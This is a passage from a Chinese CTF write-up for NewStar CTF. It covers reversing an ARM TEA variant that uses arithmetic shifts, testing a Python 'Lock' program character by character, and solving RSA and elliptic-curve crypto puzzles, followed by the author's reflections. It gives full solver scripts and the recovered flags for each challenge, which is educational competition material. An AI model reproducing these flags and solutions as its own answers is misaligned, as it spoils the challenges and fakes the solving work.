local_14 = param_1[1];
local_10 = 0;
for (local_c = 0; local_c < DAT_000a6264; local_c = local_c + 1) {
local_10 = local_10 + DAT_000a6260;
local_18 = local_18 + ((local_14 >> 5) + param_2[1] ^ local_14 * 0x10 + *param_2 ^ local_14 + local_10);
local_14 = local_14 + ((local_18 >> 5) + param_2[3] ^ local_18 * 0x10 + param_2[2] ^ local_18 + local_10) ;
}
*param_1 = local_18;
param_1[1] = local_14;
return param_1;
}

一看就是典型的TEA加密,再查看其中的关键数值:


local_10sum,起始值为0,每次加上DAT_000a62600x9E3779B9,经典的魔数);


DAT_000a6264是循环次数,值为0x20(32次),也是经典的值;


local_18是第一部分的小端序,local_14是第二部分的小端序;


param_2就是keyDAT_000a62b8),加密的flag(DAT_000a6268起始)和它一样,值都是变动的,而且在调用的时候还是以指针方式进行调用,分别在初始化、1055c、10630、10704、107d8、108ac、10980、10a54、10b28、10bfc、10cd0、10da4中赋值,共计12次,记录其数值为:

1
2
3
4
5
6
7
8
9
10
11
12
1.	[0x12345678, 0x00456789, 0x00ABC123, 0x33445511]
2. [0x15AF0F5E, 0x304CBD80, 0x85BB6467, 0xA8EADC50]
3. [0x4189DF5A, 0xDB79807B, 0x44514B6C, 0xD7D1EE9A]
4. [0x73D7114C, 0xAF56E53E, 0xE93B5FC6, 0xDFE410B0]
5. [0x11223344, 0x55667788, 0x9900AABB, 0xCCDDEEFF]
6. [0x33E7A717, 0x727DCFAA, 0xAFF8D0A5, 0x0AC0C4E2]
7. [0x43302CAD, 0xE55594DF, 0x60C3FD98, 0x22A6F28F]
8. [0xC5DF4734, 0xB431300C, 0x391E3388, 0x9013F023]
9. [0xDF50EA34, 0xD43A58BF, 0xBE056EEA, 0x0C0EEB7B]
10. [0xEFF8C666, 0xA780ACB1, 0x1E3EADF0, 0x760ECBEB]
11. [0x21BC1F9B, 0x2D00D9C7, 0xB4EBAC87, 0xEA04B57E]
12. [0x33E1957F, 0x99731103, 0x5510F8B6, 0x195CEDE0]

加密部分至此已经解构完成,接下来看被加密的flag,发现其数值也是动态的,赋值函数同上,并且也是以指针方式调用,记录其数值为:

1
2
3
4
5
6
7
8
9
10
11
12
1.	[ 0xEC890F55, 0x0EE050C4, 0x9EEA10AB, 0xD5520BA3, 0xC26E2934, 0x46733FF2, 0x7FCE42D7 , 0x2A66A5DC , 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000 ]
2. [0xA9219E52, 0x8899FC89, 0x34AB9A97, 0x5864F43E, 0xE251CDA8, 0x80E0A897, 0x5225F4E6, 0xDE13A861, 0x6FB7400C, 0xB1EEA2BF, 0x881ED513, 0x203E4821, 0xF311DD50, 0x0A414556, 0x99258929, 0xF7D7BDDD]
3. [0xFB7688E3, 0xD263D29F, 0xFF045328, 0x66E95242, 0x8281AFAC, 0xF988C83B, 0xBD2BF78D, 0x23ACDA89, 0x092DC50C, 0xECD6C79A, 0xB497965C, 0x2876CC31, 0x13E7111B,0xBC50E50A,0x9AD35B3C,0x50886E4C]
4. [0x7E59F915, 0xDD9481AF, 0x23F9E99B, 0xBC088997, 0x2C3AB002, 0x0FE9EED2, 0xEAA0CF6B, 0xC4FF40BF, 0x3B52C537, 0x0483D92F, 0xAF4453B5, 0x831ADCE7, 0x7FBD8EBD, 0xAFEEC6E5, 0x74DFC6F,0x2BB2A51A]
5. [0xA0F8CB44, 0xF82F83CF, 0xA55E48C2, 0x7A26E00A, 0xF1E354C9, 0x687D9915, 0xF88816E8, 0x90878E86, 0x3AB06298, 0xCBCFE78B, 0x578F0F50, 0xC39E3C65, 0xBBE92B84, 0x128A2CA2, 0xDB8F03F5, 0x8482F8E2]
6. [0xE1DF82F1, 0x9FBE49F8, 0x33848A8C, 0xC24534C6, 0x714B9BE1, 0x3887D7EC, 0xD0E515B8, 0xA71A77F1, 0x16698135, 0x87427637, 0x0A10229C, 0x208CE328, 0xBD8120E1, 0x85DCF5A7, 0x77C98355, 0x2158C62E]
7. [0xC2647352, 0x496946C8, 0x0A5944E8, 0x9C4AAF48, 0xA82C096F, 0x7DC65D6E, 0x76302746, 0x58C93877, 0x63EC49D7, 0x7A8D22D2, 0x395DF541, 0xACC5E26F, 0xE550E750, 0x03D222A6, 0x81B28445,0xBD481CBD]
8. [0x968F995D, 0xFD51A6F3, 0x9C8D3D3D, 0x4E648DEE, 0x4210AC8A, 0x6888693A, 0x0727A3C2, 0xA3A0F4E0, 0x6C40C444, 0x04FD09A6, 0x15852F1D, 0xC81D2347, 0x645759F2, 0x47BD845E, 0xAA7F189B,0x1E9E7514]
9. [0x5A942CDE, 0x733713ED, 0x21452579, 0x81F1BA19, 0xC1CAA74D, 0x4EFE5C69, 0xDE2E5CC1, 0x1A9A0998, 0xD6B90725, 0xB4C82B65, 0x2D21005E, 0x3668BAC9,0x9288F630,0xD17AFBC3,0xFEB8AD7B,0x649D393F]
10. [0x4A081A9E, 0xF209FB9F, 0x54569646, 0xD10E6161, 0xF9D67270, 0xFAA42C9A, 0xD0BCDC12, 0xC29F416C, 0x6570E216, 0x0E254521, 0x3098E3D3, 0xC1275C52, 0xFBECA89C, 0xD1B388C6, 0xA4115392, 0xEF7C55B0]
11. [0xB6345420, 0xD16A466C, 0x14AC4984, 0xBE313CF5, 0x9B99985F, 0x6A2B7C85, 0xE32F175D, 0x9321938F, 0x4C23F594, 0x9E981689, 0xDA25F02F, 0x5B8A8B77, 0xEE96742E, 0x03ED7A1D, 0xCA0DA40B, 0xD9310A33]
12. [0x3308AE94, 0x21C87F2A, 0x5DAA7591, 0x53B0C5F4, 0x49277BA5, 0xEC77DA5F, 0xD89202CA, 0xF0E19ACA, 0x617456C4, 0x2A19BDE3, 0xE51EBCBF, 0xC4C5FB16,0x615AFDC2,0x3FCD2FAE,0x8F826EDD,0x8B63CD45]

但是其中没有任何一组的密文与密钥能对上解密出可读的flag,考虑动态调试,使用qemu+gdbserver+ida9.0进行调试,发现第一组进行加密时起始密钥和密文都是第五组的值,但在32轮加密的过程中用于TEA的上半组和下半组的值的十六进制前四位却会发生多次额外的变化,并且没有明显规律,只与输入的值有关,考虑有一些其他的函数对此进行了干扰,以0x343332310x38373635为初始数据,第三轮进行汇编级单步调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
.text:00010E78
.text:00010E78 ; =============== S U B R O U T I N E =======================================
.text:00010E78
.text:00010E78 ; Attributes: bp-based frame
.text:00010E78
.text:00010E78 sub_10E78 ; CODE XREF: sub_10FBC+38↓p
.text:00010E78
.text:00010E78 var_1C = -0x1C
.text:00010E78 var_18 = -0x18
.text:00010E78 var_14 = -0x14
.text:00010E78 var_10 = -0x10
.text:00010E78 var_C = -0xC
.text:00010E78 var_8 = -8
.text:00010E78
.text:00010E78 PUSH {R11}
.text:00010E7C ADD R11, SP, #0
.text:00010E80 SUB SP, SP, #0x1C
.text:00010E84 STR R0, [R11,#var_18]
.text:00010E88 STR R1, [R11,#var_1C]
.text:00010E8C LDR R3, [R11,#var_18]
.text:00010E90 LDR R3, [R3]
.text:00010E94 STR R3, [R11,#var_14]
.text:00010E98 LDR R3, [R11,#var_18]
.text:00010E9C LDR R3, [R3,#4]
.text:00010EA0 STR R3, [R11,#var_10]
.text:00010EA4 MOV R3, #0
.text:00010EA8 STR R3, [R11,#var_C]
.text:00010EAC MOV R3, #0
.text:00010EB0 STR R3, [R11,#var_8]
.text:00010EB4 B loc_10F74
.text:00010EB8 ; ---------------------------------------------------------------------------
.text:00010EB8
.text:00010EB8 loc_10EB8 ; CODE XREF: sub_10E78+10C↓j
.text:00010EB8 LDR R2, [R11,#var_C]
.text:00010EBC LDR R3, =dword_A6260
.text:00010EC0 LDR R3, [R3]
.text:00010EC4 ADD R3, R2, R3
.text:00010EC8 STR R3, [R11,#var_C]
.text:00010ECC LDR R3, [R11,#var_10]
.text:00010ED0 MOV R2, R3,LSL#4
.text:00010ED4 LDR R3, [R11,#var_1C]
.text:00010ED8 LDR R3, [R3]
.text:00010EDC ADD R2, R2, R3
.text:00010EE0 LDR R1, [R11,#var_10]
.text:00010EE4 LDR R3, [R11,#var_C]
.text:00010EE8 ADD R3, R1, R3
.text:00010EEC EOR R2, R2, R3
.text:00010EF0 LDR R3, [R11,#var_10]
.text:00010EF4 MOV R1, R3,ASR#5
.text:00010EF8 LDR R3, [R11,#var_1C]
.text:00010EFC ADD R3, R3, #4
.text:00010F00 LDR R3, [R3]
.text:00010F04 ADD R3, R1, R3
.text:00010F08 EOR R3, R3, R2
.text:00010F0C LDR R2, [R11,#var_14]
.text:00010F10 ADD R3, R2, R3 ; 观察发现这一步左侧的是第二轮得到的正常值,右侧是有偏差的第三轮加数
.text:00010F14 STR R3, [R11,#var_14]
.text:00010F18 LDR R3, [R11,#var_14]
.text:00010F1C MOV R2, R3,LSL#4
.text:00010F20 LDR R3, [R11,#var_1C]
.text:00010F24 ADD R3, R3, #8
.text:00010F28 LDR R3, [R3]
.text:00010F2C ADD R2, R2, R3
.text:00010F30 LDR R1, [R11,#var_14]
.text:00010F34 LDR R3, [R11,#var_C]
.text:00010F38 ADD R3, R1, R3
.text:00010F3C EOR R2, R2, R3
.text:00010F40 LDR R3, [R11,#var_14]
.text:00010F44 MOV R1, R3,ASR#5
.text:00010F48 LDR R3, [R11,#var_1C]
.text:00010F4C ADD R3, R3, #0xC
.text:00010F50 LDR R3, [R3]
.text:00010F54 ADD R3, R1, R3
.text:00010F58 EOR R3, R3, R2
.text:00010F5C LDR R2, [R11,#var_10]
.text:00010F60 ADD R3, R2, R3
.text:00010F64 STR R3, [R11,#var_10]
.text:00010F68 LDR R3, [R11,#var_8]
.text:00010F6C ADD R3, R3, #1
.text:00010F70 STR R3, [R11,#var_8]
.text:00010F74
.text:00010F74 loc_10F74 ; CODE XREF: sub_10E78+3C↑j
.text:00010F74 LDR R3, =dword_A6264
.text:00010F78 LDR R3, [R3]
.text:00010F7C LDR R2, [R11,#var_8]
.text:00010F80 CMP R2, R3
.text:00010F84 BLT loc_10EB8
.text:00010F88 LDR R3, [R11,#var_18]
.text:00010F8C LDR R2, [R11,#var_14]
.text:00010F90 STR R2, [R3]
.text:00010F94 LDR R3, [R11,#var_18]
.text:00010F98 ADD R3, R3, #4
.text:00010F9C LDR R2, [R11,#var_10]
.text:00010FA0 STR R2, [R3]
.text:00010FA4 NOP
.text:00010FA8 MOV SP, R11
.text:00010FAC POP {R11}
.text:00010FB0 BX LR
.text:00010FB0 ; End of function sub_10E78
.text:00010FB0
.text:00010FB0 ; ---------------------------------------------------------------------------

观察发现以下行对应前半部分(v2)的加密的以下步骤,且密钥的数值从未发生变化(也就是说不需要考虑密钥变动的因素):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00010ED0                 MOV     R2, R3,LSL#4       ; v3 << 4
.text:00010ED4 LDR R3, [R11,#var_1C] ; 加载密钥
.text:00010ED8 LDR R3, [R3] ; 加载密钥的第一个32位
.text:00010EDC ADD R2, R2, R3 ; (v3 << 4) + k0 //①实测r2为238320D0,r3为11223344,加和为34a55414
.text:00010EE0 LDR R1, [R11,#var_10] ; 加载明文的第二个32位
.text:00010EE4 LDR R3, [R11,#var_C] ; 加载sum
.text:00010EE8 ADD R3, R1, R3 ; v3 + sum //②实测r1为b238320d,r3为daa66d2b,加和为8cde9f38
.text:00010EEC EOR R2, R2, R3 ; (v3 << 4) + k0 ^ (v3 + sum) //③实测异或结果为b87bcb2c
.text:00010EF0 LDR R3, [R11,#var_10] ; 加载明文的第二个32位
.text:00010EF4 MOV R1, R3,ASR#5 ; v3 >> 5
.text:00010EF8 LDR R3, [R11,#var_1C] ; 加载密钥
.text:00010EFC ADD R3, R3, #4 ; 指向密钥的指针加上4位
.text:00010F00 LDR R3, [R3] ; 加载密钥的第二个32位
.text:00010F04 ADD R3, R1, R3 ; (v3 >> 5) + k1 //④实测r1为FD91C190,r3为55667788,加和为52f83918
.text:00010F08 EOR R3, R3, R2 ; (v3 << 4) + k0 ^ (v3 + sum) ^ (v3 >> 5) + k1
.text:00010F0C LDR R2, [R11,#var_14] ; 加载明文的第一个32位
.text:00010F10 ADD R3, R2, R3 ; v2 += (v3 << 4) + k0 ^ (v3 + sum) ^ (v3 >> 5) + k1 //既然这一步的右边出现偏差,手动计算它的组成部分的应有数值
.text:00010F14 STR R3, [R11,#var_14] ; 存储新的v2

第二轮产生的v2和v3为:0x011e2192, 0xb238320d,第三轮代入的sum为:0xdaa66d2b,那么在第三轮计算过程中:

①处的值应当为0x34a55414 (0xb34a55414 & 0xFFFFFFFF),符合结果,②处的值应当为0x8cde9f38 (0x18cde9f38 & 0xFFFFFFFF),符合结果,

③处的值应当为0xb87bcb2c (0xab87bcb2c & 0xFFFFFFFF),符合结果,④处的值应当为0x5af83918,带入检验,不符合结果!

观察④处,v3的值为0xb238320d,r1应当是0x0591c190,这与实测结果不符,仔细观察操作符之后发现是算术右移(补全高位均为1)而非逻辑右移(高位保持均为0),算术右移结果为0xfd91c190符合结果,修改python的tea加密脚本,代入0x343332310x38373635进行检验,发现也不对,综合分析得到结果:若最高位为1(大于等于0x80000000),补全前面的位数(算术右移),否则保持前五位为0(逻辑右移),代入检验发现符合调试结果:


编写正向加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
m1 = ?
m2 = ?
key = [?, ?, ?, ?]
total = 0
for i in range(32):
total = (total + 0x9E3779B9) & 0xFFFFFFFF
if m2 & 0x80000000:
ASR5_m2 = (m2 >> 5) | (0xFFFFFFFF << (32 - 5))
else:
ASR5_m2 = (m2 >> 5)
m1 = (m1 + ((ASR5_m2 + key[1]) ^ (16 * m2 + key[0]) ^ (m2 + total))) & 0xFFFFFFFF
if m1 & 0x80000000:
ASR5_m1 = (m1 >> 5) | (0xFFFFFFFF << (32 - 5))
else:
ASR5_m1 = (m1 >> 5)
m2 = (m2 + ((ASR5_m1 + key[3]) ^ (16 * m1 + key[2]) ^ (m1 + total))) & 0xFFFFFFFF

经过动态调试发现key为定值,永远位第五组的[0x11223344, 0x55667788, 0x9900AABB, 0xCCDDEEFF],那么相应地,密文也应当是第五组的密文[0xA0F8CB44, 0xF82F83CF, 0xA55E48C2, 0x7A26E00A, 0xF1E354C9, 0x687D9915, 0xF88816E8, 0x90878E86, 0x3AB06298, 0xCBCFE78B, 0x578F0F50, 0xC39E3C65, 0xBBE92B84, 0x128A2CA2, 0xDB8F03F5, 0x8482F8E2],编写逆向脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import struct

def asr(value, shift):
value = value & 0xFFFFFFFF
if value & 0x80000000:
result = (value >> shift) | (0xFFFFFFFF << (32 - shift))
else:
result = value >> shift
return result & 0xFFFFFFFF

def tea_decrypt(m1, m2, key):
delta = 0x9E3779B9
total = (delta * 32) & 0xFFFFFFFF
for i in range(32):
m2 = (m2 - ((asr(m1, 5) + key[3]) ^ (16 * m1 + key[2]) ^ (m1 + total))) & 0xFFFFFFFF
m1 = (m1 - ((asr(m2, 5) + key[1]) ^ (16 * m2 + key[0]) ^ (m2 + total))) & 0xFFFFFFFF
total = (total - delta) & 0xFFFFFFFF
return m1, m2

flag = [ 0xA0F8CB44, 0xF82F83CF, 0xA55E48C2, 0x7A26E00A, 0xF1E354C9, 0x687D9915, 0xF88816E8, 0x90878E86,
0x3AB06298, 0xCBCFE78B, 0x578F0F50, 0xC39E3C65, 0xBBE92B84, 0x128A2CA2, 0xDB8F03F5, 0x8482F8E2]
key = [0x11223344, 0x55667788, 0x9900AABB, 0xCCDDEEFF]

for i in range(0, 16, 2):
m1 = flag[i]
m2 = flag[i + 1]
decrypted_m1, decrypted_m2 = tea_decrypt(m1, m2, key)
decrypted_m1_le = struct.pack('<I', decrypted_m1)
decrypted_m2_le = struct.pack('<I', decrypted_m2)
print(f"{decrypted_m1_le.hex()}")
print(f"{decrypted_m2_le.hex()}")

输出为

1
666c61677b41524d5f5f4072636831743363747552655f2d6e336564735f2d74305f5f62655f2d64654275676765645f5f7573316e672d5f51454d555f5f217d

十六进制转文本得flag{ARM__@rch1t3ctuRe_-n3eds_-t0__be_-deBugged__us1ng-_QEMU__!}.

Lock:

发现是python文件,还给了一个pyd动态链接库,发现pyd文件很难动态调试,直接运行程序,发现会返回输入字符串中有几个字符在正确的位置,于是进行逐位测试,最终得到flag{d6cf50e2736849b4ba21}.

Crypto方向:

RSA?cmd5!:

由于m比较短,先试着求m的md5:

1
2
3
4
5
6
7
from Crypto.Util.number import long_to_bytes
n = 139458221347981983099030378716991183653410063401398496859351212711302933950230621243347114295539950275542983665063430931475751013491128583801570410029527087462464558398730501041018349125941967135719526654701663270142483830687281477000567117071676521061576952568958398421029292366101543468414270793284704549051
e = 65537
s = 5461514893126669960233658468203682813465911805334274462134892270260355037191167357098405392972668890146716863374229152116784218921275571185229135409696720018765930919309887205786492284716906060670649040459662723215737124829497658722113929054827469554157634284671989682162929417551313954916635460603628116503
hm1 = pow(s, e, n)
md5_hash = long_to_bytes(hm1).decode()
print(md5_hash)

求得md5为86133884de98baada58a8c4de66e15b8,在线解密得到m为adm0n12,得到flag: flag{th1s_1s_my_k3y:adm0n120xbfab06114aa460b85135659e359fe443f9d91950ca95cbb2cbd6f88453e2b08b}.

easy_ecc:

发现是椭圆曲线加密,由于知道私钥k,所以可以直接求m = c1 + (-k) \* c2,得到m的坐标为(42473705116462428406202294102847935773542820132768934248776117467532517063207, 28673652398806211089618369285265886256488311031977716002800065471137170688215),但是发现xm和ym均远大于所给的c_left和c_right,考虑模逆元,得到flag_left = 531812496965563174412251588431148136flag_right = 526357398425538015765092604513836925long_to_bytes 转换得到flag{This_is_the_last_crypto_}.


Sagemath代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import long_to_bytes, inverse
from sage.all import GF, EllipticCurve

p = 64408890408990977312449920805352688472706861581336743385477748208693864804529
a = 111430905433526442875199303277188510507615671079377406541731212384727808735043
b = 89198454229925288228295769729512965517404638795380570071386449796440992672131
E = EllipticCurve(GF(p), [a, b])
c1 = E(10968743933204598092696133780775439201414778610710138014434989682840359444219, 50103014985350991132553587845849427708725164924911977563743169106436852927878)
c2 = E(16867464324078683910705186791465451317548022113044260821414766837123655851895, 35017929439600128416871870160299373917483006878637442291141472473285240957511)
c_left = 15994601655318787407246474983001154806876869424718464381078733967623659362582
c_right = 3289163848384516328785319206783144958342012136997423465408554351179699716569
k = 86388708736702446338970388622357740462258632504448854088010402300997950626097

m = c1 + (-k) * c2
m_x = int(m[0])
m_y = int(m[1])

print(f"m_x: {m_x}")
print(f"m_y: {m_y}")
m_x_inv = inverse(m_x, p)
m_y_inv = inverse(m_y, p)
flag_part1 = (c_left * m_x_inv) % p
flag_part2 = (c_right * m_y_inv) % p
print(f"flag_part1: {flag_part1}")
print(f"flag_part2: {flag_part2}")
flag_part1_bytes = long_to_bytes(flag_part1)
flag_part2_bytes = long_to_bytes(flag_part2)
flag = flag_part1_bytes + flag_part2_bytes
print(f"Recovered flag: {flag.decode('utf-8', errors='ignore')}")

没e也能玩:

真的没给e吗?e其实还是65537,直接带进去之前的脚本就好了,得出flag{No_course_e_can_play}.

结语

这是我第一次参加CTF,开始时我确实是什么都不懂,完全零基础参赛的,在比赛过程中学习积累了很多知识和技巧,也交到了很多朋友,顺道奠定了我之后选择逆向方向的基础(毕竟打得最好的就这个方向),了解CTF前,我对网络安全方向的认知一直都是靠偶尔在B站刷出来的所谓“黑客教程”视频,这次比赛是我对网安这个领域的初探,也很奇幻般地立刻成为了我的兴趣爱好之一。

NewStar CTF作为一个“招新赛”,无疑是属于设计的非常完美的那一档:前几周的题目从最基本的知识和方法考起,零基础也能通过现学而掌握这些知识而不会因为门槛太高而直接放弃,难度循序渐进(对于我来说就是确保了恰好每周做一道题的时间都差不多,没有因出现重复的前几周学过的内容而变得简单,也很少有因出现跨越性的知识而导致新手完全看不懂或者不想看导致半途而废,甚至直到现在我评价题目的难度都是用“week x”来评价,已经潜移默化地成为了我的难度评判标准),题目也都很有意思,解题时的趣味和解出flag的瞬间带来的成就感双重推进,使得整个参赛过程都是充满做题动力的。

总的来说,我很庆幸当时尝试参加了这次比赛,如果没有参与的话,或许我在大学的四年生活不会缺乏色彩,但也不会像如今这样丰富充实,比赛过程中认识的朋友们也都成为了我生活中不可或缺的一部分,为我的生活带来能够共享欢声笑语、随心所欲畅谈以及互相学习进步的对象(毕竟不管是网安还是我的其他兴趣爱好比如天文,质数之类的都比较小众,我小学初中高中十二年也没找到有跟我的兴趣爱好有共同语言的人),感谢这次比赛提供的机会,也让我对人生的选择多了一种全新的可能。